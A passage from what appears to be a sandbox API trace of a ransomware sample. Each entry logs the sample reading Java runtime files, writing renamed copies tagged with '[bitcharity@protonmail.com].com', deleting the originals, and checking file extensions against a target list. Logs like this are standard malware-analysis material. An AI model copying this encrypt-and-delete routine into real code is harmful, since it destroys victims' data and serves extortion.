files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0301.223] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.223] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0301.223] GetLastError () returned 0x0 [0301.223] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0xec40, lpOverlapped=0x0) returned 1 [0301.529] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xec50, lpOverlapped=0x0) returned 1 [0301.531] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.531] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0301.531] SetEndOfFile (hFile=0x1084) returned 1 [0301.531] CloseHandle (hObject=0x1084) returned 1 [0301.531] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.531] SetEndOfFile (hFile=0x10e0) returned 1 [0301.533] CloseHandle (hObject=0x10e0) returned 1 [0301.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.533] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0301.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.533] lstrlenW (lpString=".doc") returned 4 [0301.533] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.533] lstrlenW (lpString=".docx") returned 5 [0301.533] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0301.533] lstrlenW (lpString=".pdf") returned 4 [0301.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.534] lstrlenW (lpString=".xls") returned 4 [0301.534] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.534] lstrlenW (lpString=".xlsx") returned 5 [0301.534] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0301.534] lstrlenW (lpString=".ppt") returned 4 [0301.534] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.534] lstrlenW (lpString=".zip") returned 4 [0301.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.534] lstrlenW (lpString=".rar") returned 4 [0301.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.534] lstrlenW (lpString=".bz2") returned 4 [0301.534] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.534] lstrlenW (lpString=".7z") returned 3 [0301.534] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.534] lstrlenW (lpString=".dbf") returned 4 [0301.534] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.534] lstrlenW (lpString=".1cd") returned 4 [0301.534] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.534] lstrlenW (lpString=".jpg") returned 4 [0301.534] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.535] lstrlenW (lpString=".doc") returned 4 [0301.535] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.535] lstrlenW (lpString=".docx") returned 5 [0301.535] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0301.535] lstrlenW (lpString=".pdf") returned 4 [0301.535] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.535] lstrlenW (lpString=".xls") returned 4 [0301.535] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.535] lstrlenW (lpString=".xlsx") returned 5 [0301.535] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0301.535] lstrlenW (lpString=".ppt") returned 4 [0301.535] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.535] lstrlenW (lpString=".zip") returned 4 [0301.535] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.535] lstrlenW (lpString=".rar") returned 4 [0301.535] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.535] lstrlenW (lpString=".bz2") returned 4 [0301.535] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.535] lstrlenW (lpString=".7z") returned 3 [0301.535] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.535] lstrlenW (lpString=".dbf") returned 4 [0301.535] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.535] lstrlenW (lpString=".1cd") returned 4 [0301.535] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.536] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0301.536] lstrlenW (lpString=".jpg") returned 4 [0301.536] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.536] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0301.536] lstrlenW (lpString="pack200.exe") returned 11 [0301.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0301.536] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=16448) returned 1 [0301.536] CloseHandle (hObject=0x10e0) returned 1 [0301.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0301.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0301.537] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.537] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0301.538] GetLastError () returned 0x0 [0301.538] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0301.565] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0301.566] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.566] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xea, lpOverlapped=0x0) returned 1 [0301.566] SetEndOfFile (hFile=0x1084) returned 1 [0301.566] CloseHandle (hObject=0x1084) returned 1 [0301.566] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.566] SetEndOfFile (hFile=0x10e0) returned 1 [0301.569] CloseHandle (hObject=0x10e0) returned 1 [0301.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.673] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0301.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.674] lstrlenW (lpString=".doc") returned 4 [0301.674] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.674] lstrlenW (lpString=".docx") returned 5 [0301.674] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0301.674] lstrlenW (lpString=".pdf") returned 4 [0301.674] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.674] lstrlenW (lpString=".xls") returned 4 [0301.674] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.674] lstrlenW (lpString=".xlsx") returned 5 [0301.674] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0301.674] lstrlenW (lpString=".ppt") returned 4 [0301.674] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.674] lstrlenW (lpString=".zip") returned 4 [0301.674] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.674] lstrlenW (lpString=".rar") returned 4 [0301.674] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.674] lstrlenW (lpString=".bz2") returned 4 [0301.674] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.674] lstrlenW (lpString=".7z") returned 3 [0301.674] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.674] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.674] lstrlenW (lpString=".dbf") returned 4 [0301.674] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.675] lstrlenW (lpString=".1cd") returned 4 [0301.675] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.675] lstrlenW (lpString=".jpg") returned 4 [0301.675] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.675] lstrlenW (lpString=".doc") returned 4 [0301.675] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.675] lstrlenW (lpString=".docx") returned 5 [0301.675] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0301.675] lstrlenW (lpString=".pdf") returned 4 [0301.675] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.675] lstrlenW (lpString=".xls") returned 4 [0301.675] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.675] lstrlenW (lpString=".xlsx") returned 5 [0301.675] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0301.675] lstrlenW (lpString=".ppt") returned 4 [0301.675] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.675] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.675] lstrlenW (lpString=".zip") returned 4 [0301.675] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.675] lstrlenW (lpString=".rar") returned 4 [0301.675] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.675] lstrlenW (lpString=".bz2") returned 4 [0301.675] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.675] lstrlenW (lpString=".7z") returned 3 [0301.676] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.676] lstrlenW (lpString=".dbf") returned 4 [0301.676] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.676] lstrlenW (lpString=".1cd") returned 4 [0301.676] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.676] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0301.676] lstrlenW (lpString=".jpg") returned 4 [0301.676] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.676] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0301.676] lstrlenW (lpString="policytool.exe") returned 14 [0301.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0301.676] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=16448) returned 1 [0301.677] CloseHandle (hObject=0x10d0) returned 1 [0301.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0301.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0301.677] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.677] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0301.677] GetLastError () returned 0x0 [0301.677] ReadFile (in: hFile=0x10d0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0301.756] WriteFile (in: hFile=0x1088, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0301.758] ReadFile (in: hFile=0x10d0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.758] WriteFile (in: hFile=0x1088, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0301.758] SetEndOfFile (hFile=0x1088) returned 1 [0301.758] CloseHandle (hObject=0x1088) returned 1 [0301.758] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.758] SetEndOfFile (hFile=0x10d0) returned 1 [0301.759] CloseHandle (hObject=0x10d0) returned 1 [0301.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.913] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0301.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.914] lstrlenW (lpString=".doc") returned 4 [0301.914] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.914] lstrlenW (lpString=".docx") returned 5 [0301.914] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0301.914] lstrlenW (lpString=".pdf") returned 4 [0301.914] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.914] lstrlenW (lpString=".xls") returned 4 [0301.914] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.914] lstrlenW (lpString=".xlsx") returned 5 [0301.914] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0301.914] lstrlenW (lpString=".ppt") returned 4 [0301.914] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.914] lstrlenW (lpString=".zip") returned 4 [0301.914] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.914] lstrlenW (lpString=".rar") returned 4 [0301.914] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.914] lstrlenW (lpString=".bz2") returned 4 [0301.914] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.914] lstrlenW (lpString=".7z") returned 3 [0301.914] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.914] lstrlenW (lpString=".dbf") returned 4 [0301.914] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.915] lstrlenW (lpString=".1cd") returned 4 [0301.915] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.915] lstrlenW (lpString=".jpg") returned 4 [0301.915] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.915] lstrlenW (lpString=".doc") returned 4 [0301.915] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0301.915] lstrlenW (lpString=".docx") returned 5 [0301.915] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0301.915] lstrlenW (lpString=".pdf") returned 4 [0301.915] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0301.915] lstrlenW (lpString=".xls") returned 4 [0301.915] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0301.915] lstrlenW (lpString=".xlsx") returned 5 [0301.915] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0301.915] lstrlenW (lpString=".ppt") returned 4 [0301.915] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0301.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.915] lstrlenW (lpString=".zip") returned 4 [0301.915] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0301.915] lstrlenW (lpString=".rar") returned 4 [0301.915] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0301.915] lstrlenW (lpString=".bz2") returned 4 [0301.915] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0301.915] lstrlenW (lpString=".7z") returned 3 [0301.916] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0301.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.916] lstrlenW (lpString=".dbf") returned 4 [0301.916] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0301.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.916] lstrlenW (lpString=".1cd") returned 4 [0301.916] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0301.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0301.916] lstrlenW (lpString=".jpg") returned 4 [0301.916] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0301.916] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.916] lstrlenW (lpString="prism_d3d.dll") returned 13 [0301.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0301.918] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=130624) returned 1 [0301.918] CloseHandle (hObject=0x10b4) returned 1 [0301.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0301.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0301.918] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.918] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.919] GetLastError () returned 0x0 [0301.919] ReadFile (in: hFile=0x10b4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x1fe40, lpOverlapped=0x0) returned 1 [0302.008] WriteFile (in: hFile=0x10bc, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x1fe50, lpOverlapped=0x0) returned 1 [0302.012] ReadFile (in: hFile=0x10b4, 